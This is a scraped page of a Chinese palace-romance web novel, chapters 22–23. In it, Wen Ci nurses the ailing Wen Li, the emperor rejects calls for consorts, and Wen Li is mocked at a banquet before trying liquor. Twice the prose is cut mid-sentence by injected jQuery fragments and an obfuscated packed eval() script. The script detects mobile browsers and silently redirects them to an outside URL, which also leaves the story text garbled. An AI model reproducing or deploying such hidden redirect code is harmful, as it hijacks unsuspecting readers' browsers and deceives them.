$(''#content'').append('' 渐聚焦,落在闻辞关切又紧张的脸上,点了点头,闻辞让德福把温着的米粥端上来。 刚病了一场,身体还没有好好恢复过来,吃不了太荤腥的东西,只能用些蔬菜跟瘦肉熬了粥,闻辞舀起一勺轻轻地吹了吹才送到了温黎的嘴边,像哄小孩子一样哄着,“啊,张嘴。” 可是温黎已经不是小孩子了,这样的举动还是让他不太适应,于是伸出手想去接碗,“我自己来就好了。” 温黎的嗓子有些疼,一出口便是十分沙哑,声音又弱又小,惹人疼惜。 闻辞躲了一下,执意地把勺子递到温黎的嘴边,“你都没什么力气了,快喝吧,不然就要凉掉了。” 温黎实在是拗不过闻辞,只得乖乖地张开嘴,米粥熬得很烂,入口即化,温热的粥汤划过喉咙,让干燥到起烟的嗓子也好受了许多。 闻辞像是找到了什么好玩的游戏一样一勺一勺不厌其烦地喂着,没一会儿一小碗粥就见底了。 “还要吗?” 温黎摇了摇头,喝完粥之后整个人有个点精神,闻辞递过来一个绣着莲花的小荷包。 “这是?” 闻辞将精致的小荷包放在了温黎手心里,“里面包了很多药材,对你的咳疾和哮症都有好处,你要日日戴在身上,不舒服的时候就嗅一嗅,这样会好很多的。” 温黎接过来轻轻地嗅了嗅,闻到了一股十分清新的气味,好几种珍惜的药材交织在一起,说不上来是什么味道,但让人心情很好,身体也轻松了不少。 “谢谢你。”温黎的心被暖得不像话,靠在床头冲着闻辞浅浅笑了笑,然后神情复杂的视线从荷包上转移到闻辞包着白布的手指,“你是不是又给我喝血了?” “嗯。”闻辞不禁缩了缩手指,他不想被温黎发现地,但伤口还是太明显了。 “手痛不痛啊?” “不痛,一点感觉都没有的。” 尽管是这样的回答,温黎心里还是难受地很,每每自己发病闻辞都要受伤,他那双手上到处都是伤痕,刺痛着他的双目,不禁双眸泛红,满心满眼都是愧疚。 温黎红着眼睛,泪水从眼角滑落,声音哽咽着,“如果我不犯病就好了,如果眼泪有用就好了,这样的话就不用你割伤自己了……” 闻辞简直是如临大敌,哪怕这么多年过去了,面对哭泣的温黎他依旧是手忙脚乱,“不哭不哭,这点小伤算什么啊,完全不够看的好吗,我在战场上受得伤不知道比这还要重多少倍呢,不也是一点事都没有,”他捧着温黎的脸,用手指给他擦眼泪,“好阿黎不要哭了,眼睛都该肿了。” 果然,眼睛都哭得红彤彤的了,眼皮也犹如抹了胭脂一样,水光潋滟的眸子清澈明亮,只能映照出自己的影子。 闻辞鬼使神差又情不自禁地在温黎的眼皮上吻了吻,再抬眸时,四目相对之间两个人都愣住了。 22. 第 22 章 温黎的双眸瞪得滚圆,像是受惊的小鹿一般,满脸的不可思议,“你……你干什么?” 闻辞同样处于震惊之中,眨巴眨巴着直愣愣地看着温黎,惊诧于自己怎么把心里想的事情给做出来了呢,但很快他就反应过来了,“亲一亲就不肿了,是小时候你教我的。” 温黎擦了擦自己的眼皮,脸色憋得通红,“但那是小时候,现在不可以了,” “那有什么区别,我们还是可以跟小时候一样的。”闻辞目光灼灼,十分认真,似乎觉得这并没什么大不了的。 可是温黎不一样,有些事情小朋友可以做,大人是不可以做的。 温黎板着张小脸儿,很是严肃道:“不可以就是不可以,你不要随随便便地亲人。” “我又不亲别人。”闻辞还觉得挺委屈的,他才不要亲一些乱七八糟的人呢。 温黎不知道闻辞是真的听不懂自己的话,还是在假装,气得脸红彤彤的,“没有得到允许,不可以亲。” “那我能亲你吗?”闻辞学以致用,视线有意无意地落在温黎粉嫩的嘴唇上。 温黎彻底红温了,恼羞成怒,“我不允许!” 由于心情起伏比较大,一口气没有喘匀就开始说话,气息呛到了喉咙口不住地咳嗽起来,脸色潮红一片,眼角都咳出了泪花。 闻辞立刻闭上了嘴巴,将还想问的话囫囵个吞了回去,只是去倒了一杯水,轻轻地拍着温黎的后背给他喂了一些,“我开玩笑的,别那么激动。” 温黎躲开了闻辞的手,重新躺了下来紧紧地裹着被子背对着他,时不时地还在咳嗽着,在静悄悄的寝殿内显得格外的明显。 闻辞不语,只是静静地躺在温黎的身边顺着他的后背,希望他能够好受一些,可是温黎直到沉沉地睡去都没有再跟他说一句话。 一场春雨连绵了整整三日,温黎在房间里待了三日,终于将衍朝新纪年编写完成,装进了书箱中前往翰林院。 地面上堆积的雨水还未完全散去,温黎一手提着衣角,一手拎着书箱,小心翼翼地走着。 这时沈月白走到了他的身边,与之同行,“听闻你这些天都病着,身体可好些了?” 沈月白是沈国公的次子,比温黎低一届参与科举考试,今年才在翰林院当职。 “多谢沈兄关心,已无大碍。”温黎浅浅地笑了笑。 “那便好,对了,今日是我生辰,你若得空还望来府上一聚。”沈月白拿出了一份烫金色的请帖,递到了温黎面前。 这还是温黎第一次收到请帖,心里挺开心的,于是接了下来,“好,我一定去。” 长胜殿内。 “陛下,这些都是适龄的女子,与陛下正是相配。”陈之昂十年来如一日地劝说闻言殷立后纳妃,将搜刮来的美人图一一展示在闻言殷面前。 闻言殷一看见这些美人图就头疼地厉害,不禁揉了揉自己的太阳穴,悄咪咪地给德英使了个眼色。 德英立马会意,冲到了皇帝跟前,直接将陈之昂挡住,关切道:“哎呦,陛下怕是头风病犯了,快去宣太医!” 常言道:吃一堑长一智。 陈之昂都吃了这么多年的亏了就算是再笨也该长长脑子了,不会再被轻易地糊弄过去。 “陛下如此这般就该找个可心人时时刻刻在身边伺候着,您瞧瞧医典世家的嫡次女,熟识典籍医术高明,是人人称赞的女‘华佗’啊。”陈之昂展开美人图,恨不得都要杵到闻言殷面前去了,还在极力地劝说,“而陛下正直壮年,也正是能生会生的好时候啊,如何不为了衍朝开枝散叶。” “衍朝已有太子,不需要其他的皇子公主。”闻言殷微微蹙眉,很不满这样的说法,好像他们都是工具一般。 “可唯有太子殿下一人始终是孤孤单单的,毫无助力,若有兄弟手足的帮衬,便能如先帝一般战无不胜所向披靡。” “助力?”闻言殷睨了陈之昂一眼,眯了眯眼睛,他的有些神情与沈清泉如出一辙,似乎想要看穿他究竟有什么歪心思。 闻言殷他自己就是从腥风血雨之中杀出来的,什么亲族什么手足,都是争名夺利的竞争对手,不是你死就是我亡,他从未有一刻享受过兄友弟恭的温情,自然不信什么兄弟之间可以做到真正的和睦相处,平民百姓家尚且如此,何况是皇家。 此“助力”在闻言殷看来简直是可笑至极。 “朕再说一次,朕只想要阿辞一个儿子,一个太子,朕也无心于后宫,更不想立后纳妃,只一心为朝政,下次就莫要再提了,你这番让朕很是头疼。” 这么多年了,闻言殷并没有刻意隐瞒沈清泉自由出入长胜殿,但也没有公开,朝中大臣均有猜测,大多数都是睁一只眼闭一只眼,没人敢问到皇帝面前,陈之昂也不会拿此事去触霉头。 又碰了一鼻子灰的陈之昂咬了咬牙,“太子殿下如今也年满十九了,身旁也不能有没有人陪着,若是有个温柔的太子妃照顾着,说不定脾气就能收敛一二,陛下也应当趁早为殿下物色物色了。” 世人只知闻辞的脾气不好,易怒易狂躁,但甚少有人知道他是真的有病,就连陈之昂也不知道,因为衍朝不能有一个有病的太子,越少人知道越安全。 闻言殷感觉自己的耳朵都要起茧子了,站起身来,走到陈之昂身边拍了拍他的肩膀,委以重任一般,“朕听闻城西有蜀地来的难民闹事,屡次不绝,朕瞧着左相能力甚佳,便替了右相吧。”边说边往门外三步并两步地走去,“好了,朕乏了,先回宫休息了,左相请自便。” 出了殿门,闻言殷的脸色就沉了下来,大步流星地往前走,走得都要起飞了,德英跟在后头小跑着,“陛下,太子殿下确实也到了该娶亲的年纪了。” 他的脚步渐渐地慢了下来,“从前朕没得选,朕只能成为皇帝,被困在一座金子堆砌的皇宫中,享无边孤独,可现在朕有的选了,朕也可以为阿辞决定。” 先帝还在世时兄弟之争就从未停止过,闻言殷一点都不想参与其中,可漩涡总是席卷着不得不踏进去,一朝进入无法自拔。 闻言殷叹了一声气,眼底尽是愧疚之色,“朕自认为自己这个父亲做得很不称职,所以朕不希望阿辞不快乐,为了什么大局、皇权、子嗣而妥协,有朕为他兜着,他都不需要考虑这些,等哪日阿辞有了心仪之人,他自会来与朕说,无论是何家世地位,是何许人也,无论朝中大臣是否满意,只要真心相待,朕都会允准赐婚,朕什么都不求,只能阿辞能一生平安快乐。” *** 温黎身着一袭韶粉色长袍,袖口、衣角绣满了栩栩如生梨花,浅淡的颜色搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433073|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 配着一条苍葭色的腰带,勾勒着盈盈一握的腰身,垂挂着的环佩随着走动的幅度相碰,发出清脆的声响。 在阳光的照射下的小脸蛋一团粉气,晶莹透亮的皮肤像是铺了一层胭脂一般,嘴角挂着一抹笑容,如同仙子一般,任谁见了都会多瞧上两眼。 这是温黎入职以来第一次参加同僚的聚会,心里隐隐期待着,提着礼物的手都激动得有些颤抖。 温黎将礼物奉上,与几位同僚寒暄了几句,便随着管家的指引落座。 席面上有个相貌俊秀的年轻人眼睛一眨不眨地盯着他,然后慢慢地挪了过来,“你是不是温黎啊?” 温黎礼貌地点了点,但看了半晌都没有认出这个人是谁啊。 陈越峥左看看右看看,并没有看见粘人精闻辞的身影,这才放下心来,兴致冲冲地道:“我是陈越峥啊,我们小时候见过哒。” 温黎仔细地回想了一下,终于脑海中浮现出了一个小胖子的模样,陈越峥现在的样貌与以前简直是大相径庭。 陈越峥见温黎想去了自己眼睛都笑弯了,他觉得温黎还是和小时候一模一样的精致漂亮,是在人群中最亮眼的一个,一眼就能看得见。 “陈公子好。”温黎微微一笑。 陈越峥看得脸都红了,不好意思地挠了挠头,都不知道要说些什么好了,“我没想到你也来参加月白的生辰宴了,你很厉害,竟然是状元郎。” 温黎从小到大听了太多这样恭维的话,并不放在心上,十分谦逊道:“陈公子谬赞了,侥幸而已,你如今在何处高就?” “我就在我二哥手底下做个散职,没什么建树的。”听到工作,陈越峥的兴致就不大高。 “陈公子莫要妄自菲薄,术业有专攻,做自己擅长的事情即可。” 陈越峥看着温黎就开始冒星星眼,像是被鼓舞了一般,用力地点了点头,“嗯!” 说话间就开席了,菜色琳琅满目,十分丰盛,但有许多温黎都不能吃,要忌口,所以只动了几筷子,就连来劝酒的人还都一一谢绝。 对温黎的身体不好的传言朝中皆有耳闻,这群世家子弟也多多少少听说一些,如今瞧着他一副弱柳扶风的病弱之态不会过分为难,不再劝着喝酒,然而终于异声从人群中传来。 只听同桌之人发出一阵嗤笑,“你怎么都没吃多少东西啊,可是不和胃口?” 温黎不认识这人,但还是抱着友好的态度回道:“没有,菜很好吃,只是我吃得不多罢了。” “哎呦,还不是温大公子身子不好,不然怎么连陛下都特别优待呢,就连太子殿下都护得紧。”御史大夫的次子彭原一阵不怀好意的嬉笑,充满了恶意。 身侧的人开始一唱一和起来,“身子不好不喝酒就算了,也不至于寻常的菜色都吃不了吧,许是温公子瞧不上咱们的席面。” 温黎眼中闪过一丝慌张,连忙解释,“没有,我并非这个意思。” “若是身体不好,就别来参加宴席,这不是扫了咱们的兴吗?”彭原两手一摊,讽刺地看着温黎。 陈越峥实在是听不下去了,厉声道:“够了,少说这些话,你这是喝多了分不清东南西北了吧。” 彭原瞪着温黎,一脸不满,“我有说错吗?!看他操着一副病弱的姿态还不知道骗了多少人!” 23. 第 23 章 听到这里,温黎就算是再傻也是明白,这几个人处处言语针对于他,只不过是借此发挥而已。 于是温黎站起身朝彭原行了行礼,眼眸十分清澈,不卑不亢地盯着他看,语气清冷,“彭公子,我自认为从未得罪过你,今日是沈兄的生辰宴,你我皆是为祝贺沈兄而来,礼当一派和气,庆贺佳日,你何故要处处针对,若你我之间真有过节,也应当私下解决,而非将此席闹得无法收场。” “我们能有什么过节,只不过是瞧不上你这般矫揉造作的模样,若是什么都吃不得就滚回你的温府去。”彭原继续恶语相向,冷冷一笑,“哦,我忘了,你如今还住在东宫呢,也不知道是使了什么见不得光的手段,才把太子殿下哄得团团转,才得到了一个状元郎的名头。” 温黎不会平白无故被人污蔑,更不容许有人如此攀污闻辞,对于这种浓浓的敌意他向来不会留有情面,眼底也未曾泛起丝毫波澜,面上的表情都没有变化一下,“我住在东宫是陛下特许,是我身为伴读的职责所在,能在殿选之中拔得头筹是源自我的努力与刻苦,更是陛下青睐有加,”他轻轻挑了挑眉头,“怎么?难道是彭公子没有这个本事吗,还是说你在质疑陛下的决策?” “温黎,你!”被羞辱一番的彭原狠狠地指着温黎的鼻子,想要冲上去凑他一拳,被临近的陈越峥死死拦住,摁在了座位上。 沈月白沉着脸挥了挥手,“好了,彭公子醉了,来人,把彭公子请出去,好生送回彭府。” “沈月白你敢这样对我?!”彭原又立马跳起来,怒目圆睁着恨不得摔锅打碗,但侍从没有给他这个机会,两边一架就“请”了出去。 众目睽睽之下,温黎感觉十分难堪,他眼神愧疚地看了沈月白一眼,恳切道:“抱歉。” 宴席还没有结束,温黎就离开了,他没有坐马车,漫无目的地在街道上走着,整个神武大街灯火辉煌热闹非凡,众人皆是成群结队,唯有温黎是孤身一个人,步履缓慢如霜打的茄子一般提不起什么兴趣。 虽然在席面上他冷静自持,可是心里还是有波动的,他很是后悔来参加宴席,本应该开心的事情却搅得所有人都不得安生,最后闹得不欢而散,好像自己是个罪人一样。 在这一刻,温黎十分痛恨自己的身体,为什么事事都要注意,为什么就是和别人不一样,如果他能有一副健康壮硕的身体该有多好啊。 温黎心里一时之间堵得难受,像是有一块大石头压着一样上不去下不来,都快让他喘不上气来了,眼睛无比酸涩,用力地用袖子擦了擦,留下了两道明显水痕。 街边正好有家酒肆,酒香飘散了出来,卖力叫喊声吸引了温黎的注意,他想到了宴席上被摆在自己面前又纹丝不动的酒。 不甘与屈辱的情绪占据上风,温黎用袖子狠狠地擦着眼睛和脸颊,擦得一片通红才肯罢休,然后吸了吸鼻子走了过去,琳琅满目的酒看得他眼花缭乱,脑子一热就给了一枚银锭子,“我要一壶。” 温黎不认识酒的名字,更不知道有哪些品种,也分不清店家口中所介绍的品名好坏,最后还是店家给他挑了最贵的一款。 然后拿着酒壶坐在了街边的石阶上,双腿并拢地坐着,像个乖宝宝,又弱小可怜无助的模样。 随着盖子被打开,一股浓烈的酒气席卷而来,熏得他眼睛都被刺了一下,轻轻地嗅了嗅,并没有什么特别之处,除了刺鼻还是刺鼻。 温黎抿了抿嘴唇,做了半天心理建树,然后闭上眼睛憋着一股劲儿,仰起头猛喝了一大口,辛辣的酒气直冲脑门,仅仅一瞬间来不及全部咽下的酒液都吐了出来。 他不住地咳嗽着,眼底都沁出了泪花,嗓子火辣辣地疼,好像火烧一样,整个人无力地跪了下来,趴在了路边,扶着墙呕吐着,可本来就没有吃什么东西,能吐出来的只有酸水,恨不得把苦胆都要吐出来了,划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433074|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过喉咙的时候有一阵疼痛,他感觉自己整个人都在天旋地转。 这真是一个很糟糕的经历,喝毒药也不过如此了,温黎不禁想着。 下一刻,闻辞不知从何处冒了出来,将温黎扶起,满脸焦躁不安,“你怎么倒在这儿啊,怎么样了?发生什么事了?没事吧?” 一连串的问题问得温黎头昏眼花,都不知道要先回答哪个好了,只得泪眼婆娑地摇了摇头,面上尽是失落,勉强地扯出了一个笑容,“你怎么会在这儿啊?” “德福说你来赴宴,但这么晚了还没有回宫,我很担心,”闻辞简明扼要地解释了一番。 他闻到了温黎身上的酒味,又看见一旁翻到的酒壶,拿起了闻了闻,气味浓烈到他都不禁呛了一下,“你怎么能喝这样的酒,不顾身体了吗?!”语气急了一些,既心疼又担忧。 提到“酒”这个字温黎又忍不住捂着嘴巴干呕了两声,等平复下来后才道:“我就是……就是被酒呛到了,我只想尝尝是什么味道的,没想到竟然这般受不住……” 闻辞一把将温黎横抱了起来,塞进了马车,阴沉着的脸表现出很生气的模样,“若想喝酒也该喝些温和的,这般浓烈的来我都受不了,何况是你呢。” “我就是想尝尝看我能不能喝得了,可是……为何我喝不了酒啊。”说着说着一滴清泪便从眼角滑落,落在了闻辞的手指上,只觉一阵滚烫。 这显然已经明显不是喝不喝得了酒的问题了。 闻辞捧着温黎的脸蛋,揉了揉他发红的眼角,笃定道:“有人欺负你。” 温黎侧过脸,被闻辞的手心一压不自觉嘟起了嘴巴,一副委屈巴巴的小模样,闷闷道:“没有,我就是……”他还想辩解些什么。 可是闻辞的眸子更沉了,他都快要气炸了,但还是努力地克制着自己的情绪,紧紧地盯着他看,“温黎,要我把沈府的人全都抓起来仔细盘问一遍吗?”